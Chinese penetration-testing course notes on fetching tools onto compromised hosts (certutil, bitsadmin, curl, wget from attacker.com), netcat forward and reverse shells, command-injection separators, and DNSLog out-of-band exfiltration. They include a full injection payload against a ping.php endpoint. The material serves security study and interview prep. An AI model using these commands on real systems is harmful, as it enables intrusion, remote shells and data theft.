小迪安全课程第五节复习笔记:渗透测试命令与反弹连接技术


一、课程核心目标

本课程围绕三大技术场景展开:

  • 文件下载:解决无图形化环境下的文件传输

  • 反弹连接:解决命令执行卡顿、权限维持及网络限制突破

  • 带外查询(OOB):解决无回显漏洞的数据外带


二、文件上传下载技术

2.1 技术原理

核心问题 :渗透测试中获取的权限通常是命令行界面(无图形化),无法通过浏览器下载工具,需通过命令行方式将攻击者服务器上的工具下载到目标机器。

2.2 Windows系统下载命令

表格

命令 语法示例 说明
Certutil certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe 系统自带,常被用于下载
Bitsadmin bitsadmin /transfer n http://attacker.com/nc.exe c:\nc.exe 后台传输服务
PowerShell powershell -c "Invoke-WebRequest -Uri http://attacker.com/nc.exe -OutFile c:\nc.exe" 功能强大,可绕过部分限制
CMD 其他内置命令 根据环境选择

关键参数解析

  • -urlcache:使用URL缓存

  • -split:分块下载

  • -f:强制覆盖

2.3 Linux系统下载命令

表格

命令 语法示例 说明
curl curl -O http://attacker.com/nc 常用,支持多种协议
wget wget http://attacker.com/nc -O /tmp/nc 系统自带
Python python -c "import urllib; urllib.urlretrieve('http://attacker.com/nc', '/tmp/nc')" 利用Python内置库
Ruby ruby -e 'require \"net/http\"; File.write(\"/tmp/nc\", Net::HTTP.get(URI(\"http://attacker.com/nc\")))' Ruby环境可用

实战流程

plain

复制

复制代码
1. 攻击者将工具(如nc.exe)放置于Web服务器目录
2. 构造下载URL:http://attacker-ip:80/nc.exe
3. 根据目标系统选择对应下载命令
4. 指定保存路径(Windows常用C盘根目录,Linux常用/tmp)
5. 执行命令完成下载

三、反弹连接技术(核心难点)

3.1 反弹连接的核心价值

表格

解决的问题 说明
交互式命令执行 解决需要用户输入的命令卡顿问题(如passwd修改密码)
权限维持 建立持续稳定的控制通道,非一次性执行
内网穿透 突破NAT/防火墙限制,实现内网主机控制
数据回显 获得完整的命令执行反馈

3.2 正向连接 vs 反向连接

概念定义(以控制端为参照物)
  • 正向连接控制端主动连接目标(目标监听,控制端连接)

  • 反向连接目标主动连接控制端(控制端监听,目标连接)

核心区别

表格

对比维度 正向连接 反向连接
监听方 目标机器 控制端(攻击者)
连接发起方 控制端 目标机器
适用场景 目标有公网IP,无防火墙限制 目标在内网/NAT后,有防火墙入站限制
防火墙影响 受目标入站策略限制 受目标出站策略限制(通常宽松)
NC命令(Windows被控) nc -l -p 5566 -e cmd.exe nc -e cmd.exe attacker-ip 5566
NC命令(Linux被控) nc -l -p 5566 -e /bin/sh nc -e /bin/sh attacker-ip 5566

3.3 网络环境判定与选择策略

场景一:双公网环境

plain

复制

复制代码
目标:Windows(公网IP: 47.122.23.131)
控制端:Linux(公网IP)

正向方案:
  目标执行:nc -l -p 5566 -e cmd.exe  (绑定CMD到5566端口)
  控制端执行:nc 47.122.23.131 5566    (主动连接)

反向方案:
  控制端执行:nc -lvp 5566             (监听5566)
  目标执行:nc -e cmd.exe 控制端IP 5566 (主动连接控制端)
场景二:内网环境(核心应用)

plain

复制

复制代码
拓扑:目标在内网(192.168.1.x)→ 路由器(NAT) → 互联网 ← 控制端(公网IP)

关键问题:
- 控制端主动连接内网IP(192.168.1.107)→ 无法路由(内网IP不唯一)
- 控制端连接路由器公网IP → 路由器不知道转发给哪台内网主机

解决方案(必须使用反向连接):
  控制端(公网):nc -lvp 5566                    [监听]
  目标(内网):nc -e cmd.exe 控制端公网IP 5566   [主动出网]
  
原理:内网主机可以主动访问外网,控制端有公网IP可被唯一定位
场景三:防火墙限制环境

表格

防火墙策略 影响 解决方案
入站限制(阻止外部连接进入) 正向连接失效 使用反向连接(目标主动出网)
出站限制(阻止内部连接外出) 反向连接失效 使用正向连接(外部主动进入)
双向限制 两者都可能失效 需使用隧道/端口转发等高级技术

实验验证

plain

复制

复制代码
1. Windows防火墙添加入站规则:阻止TCP 5566端口
2. 正向连接测试:控制端连接目标5566 → 连接超时(被阻止)
3. 反向连接测试:目标主动连接控制端5566 → 成功建立连接
4. 结论:入站限制时,必须使用反向连接

四、命令执行与管道符

4.1 命令执行漏洞利用基础

漏洞场景:Web应用提供Ping功能,用户输入IP,后端直接拼接执行。

4.2 管道符(命令连接符)

Windows管道符

表格

符号 功能 示例 执行逻辑
& 命令分隔 ping 127.0.0.1 & whoami 前后命令都执行
&& 逻辑与 ping 127.0.0.1 && whoami 前命令成功才执行后命令
` ` 管道 `ping 127.0.0.1
` ` 逻辑或
Linux管道符

表格

符号 功能 示例
; 命令分隔 ping 127.0.0.1; whoami
& 后台执行 ping 127.0.0.1 &
&& 逻辑与 ping 127.0.0.1 && whoami
` ` 管道
` `
````` 命令替换 whoami(反引号)
$() 命令替换 $(whoami)

关键区别 :Linux支持;和命令替换,Windows原生CMD不支持(需用PowerShell)。


五、无回显漏洞与带外查询(OOB)

5.1 问题场景

命令执行漏洞没有回显(页面不显示命令输出),无法直接判断命令是否执行成功、执行结果是什么。

5.2 解决方案一:反弹Shell

直接将权限反弹到控制端,在控制端交互执行命令查看结果。

5.3 解决方案二:带外查询(Out-of-Band)

DNSLog技术原理

利用DNS查询请求将数据外带:

plain

复制

复制代码
1. 攻击者获取DNSLog平台域名(如:xxx.dnslog.cn)
2. 构造命令:whoami.xxx.dnslog.cn
3. 目标执行ping whoami.xxx.dnslog.cn
4. DNS服务器记录查询请求:admin.xxx.dnslog.cn
5. 攻击者查看DNSLog平台,获取"admin"(whoami执行结果)
Linux带外查询(简单)

bash

复制

复制代码
# 直接利用命令替换
ping `whoami`.xxx.dnslog.cn
# 或
ping $(whoami).xxx.dnslog.cn

结果 :DNSLog平台收到root.xxx.dnslog.cn,即得知执行用户为root。

Windows带外查询(复杂,核心难点)

问题 :Windows CMD不支持`````和$()命令替换,无法直接拼接命令结果到域名。

解决方案:PowerShell变量赋值

powershell

复制

复制代码
# 步骤1:将命令结果赋值给变量
$x = whoami

# 步骤2:定义DNSLog域名
$y = '.xxx.dnslog.cn'

# 步骤3:拼接完整域名
$z = $x + $y

# 步骤4:执行ping,触发DNS查询
ping $z

完整命令(一行执行)

powershell

复制

复制代码
powershell -c "$x=whoami;$y='.xxx.dnslog.cn';$z=$x+$y;ping $z"

特殊字符处理 : 若命令结果包含\(如domain\username),需替换:

powershell

复制

复制代码
# 将反斜杠替换为其他字符(如"x")
$xs = $x -replace '\\','xxx'
$z = $xs + $y
ping $z

实战利用流程

plain

复制

复制代码
漏洞点:http://target.com/ping.php?ip=127.0.0.1
利用步骤:
1. 测试:ping 127.0.0.1 | whoami  (确认命令执行)
2. 发现无回显,改用带外查询
3. 获取DNSLog域名:abc.dnslog.cn
4. 构造Payload:
   127.0.0.1 | powershell -c "$x=whoami;$y='.abc.dnslog.cn';$z=$x+$y;ping $z"
5. 查看DNSLog平台,确认收到DNS请求,获取执行结果

六、综合实战流程

6.1 完整攻击链(以Windows目标为例)

plain

复制

复制代码
【信息收集】
  ↓ 发现命令执行漏洞(Ping功能)
【漏洞验证】
  ↓ 输入:127.0.0.1 | whoami
  ↓ 结果:无回显(但确认存在漏洞)
【工具上传】
  ↓ 1. 攻击者准备nc.exe,放置于Web服务器
  ↓ 2. 构造下载命令:certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe
  ↓ 3. 利用漏洞执行下载命令:127.0.0.1 | certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe
  ↓ 4. 验证:127.0.0.1 | dir c:\nc.exe
【反弹Shell】
  ↓ 方案选择:
    - 目标有公网IP且无防火墙 → 正向连接
    - 目标在内网/有入站限制 → 反向连接(常用)
  ↓ 反向连接操作:
    - 控制端:nc -lvp 5566
    - 漏洞利用:127.0.0.1 | c:\nc.exe -e cmd.exe attacker-ip 5566
【权限维持】
  ↓ 获得交互式Shell,可执行需要输入的命令(如密码修改)

七、核心考点总结(SRC/CTF/面试)

🔴 必考概念

表格

考点 核心要点
正向/反向连接区别 以控制端为参照物:主动连出去为正,被连进来为反
内网为何用反向 内网IP不唯一无法被定位,但可主动访问外网
防火墙策略影响 入站限制→用反向;出站限制→用正向
NC参数 -l监听,-p指定端口,-e绑定程序,-v详细输出
Windows下载命令 certutil、bitsadmin、powershell(需掌握至少一种)
Linux下载命令 curl、wget、python(需掌握至少两种)
管道符差异 Linux支持;和命令替换,Windows CMD不支持
无回显解决 反弹Shell或带外查询(DNSLog)

🟠 高频命令速查

bash

复制

复制代码
# Windows下载
certutil -urlcache -split -f http://ip/file.exe c:\file.exe

# Linux下载
curl -O http://ip/file
wget http://ip/file -O /tmp/file

# NC正向(目标监听)
nc -l -p 5566 -e /bin/sh      # Linux
nc -l -p 5566 -e cmd.exe      # Windows

# NC反向(控制端监听)
nc -lvp 5566                  # 控制端
nc -e /bin/sh attacker-ip 5566  # Linux目标
nc -e cmd.exe attacker-ip 5566     # Windows目标

# PowerShell带外(Windows无回显)
powershell -c "$x=whoami;$y='.dnslog.cn';ping ($x+$y)"

🟡 面试常见问题

Q1:正向连接和反向连接的区别?什么场景用反向?

答:正向是控制端主动连目标,反向是目标主动连控制端。内网环境、有防火墙入站限制时必须用反向,因为内网IP无法被互联网路由,但内网主机可以主动访问外网。

Q2:目标在内网,如何获取Shell?

答:使用反向连接。攻击者在公网监听端口,诱导内网目标执行反向连接命令(如nc -e),目标主动出网连接到攻击者,绕过NAT和入站限制。

Q3:命令执行漏洞无回显,如何验证和利用?

答:验证可用DNSLog带外查询,如ping $(whoami).dnslog.cn(Linux)或PowerShell变量赋值后ping(Windows)。利用可尝试反弹Shell获得交互式会话。

Q4:Windows系统没有nc怎么办?

答:先利用系统自带命令(certutil/bitsadmin/powershell)下载nc.exe到目标,再执行反弹。

Q5:防火墙阻止了反向连接怎么办?

答:检查是入站还是出站限制。若出站被限制,尝试正向连接;若双向限制,需考虑隧道技术(如ICMP隧道、DNS隧道)。

🟢 实战思维 checklist

plain

复制

复制代码
□ 识别目标操作系统(Windows/Linux)→ 决定下载命令
□ 判断网络位置(公网/内网)→ 决定正反向连接
□ 检查回显情况(有回显/无回显)→ 决定是否用带外查询
□ 测试防火墙策略 → 决定连接方向
□ 准备工具上传 → 选择合适下载命令和路径
□ 建立稳定通道 → 选择NC/其他工具建立反弹Shell

学习建议:本节课技术点环环相扣,建议按"文件下载→正向连接→反向连接→防火墙绕过→带外查询"的顺序动手实验,使用虚拟机搭建靶场复现每个场景。

相关推荐
老星*2 小时前
Umami:轻量级开源网站分析工具,打造隐私友好的Google Analytics替代方案
运维·安全·开源
进阶的猪2 小时前
Linux 学习笔记
linux·笔记·学习
chushiyunen2 小时前
BM25稀疏检索算法笔记
笔记·算法·c#
chushiyunen2 小时前
prompt提示词工程笔记
笔记·prompt
hanlin032 小时前
刷题笔记:力扣第6题-Z字形变换
笔记·算法·leetcode
一个人旅程~3 小时前
虚数与量子迷踪
经验分享·笔记·微信·电脑·量子计算
智者知已应修善业11 小时前
【proteus中lm339电压滞回比较器达到三角波转换成方波】2023-4-13
驱动开发·经验分享·笔记·硬件架构·proteus·硬件工程
551只玄猫12 小时前
新编大学德语1第三版笔记 第5课Essen und Trinken
笔记·学习笔记·德语·外语·德语a1·自学德语·新编大学德语
不只会拍照的程序猿13 小时前
《嵌入式AI筑基笔记02:Python数据类型01,从C的“硬核”到Python的“包容”》
人工智能·笔记·python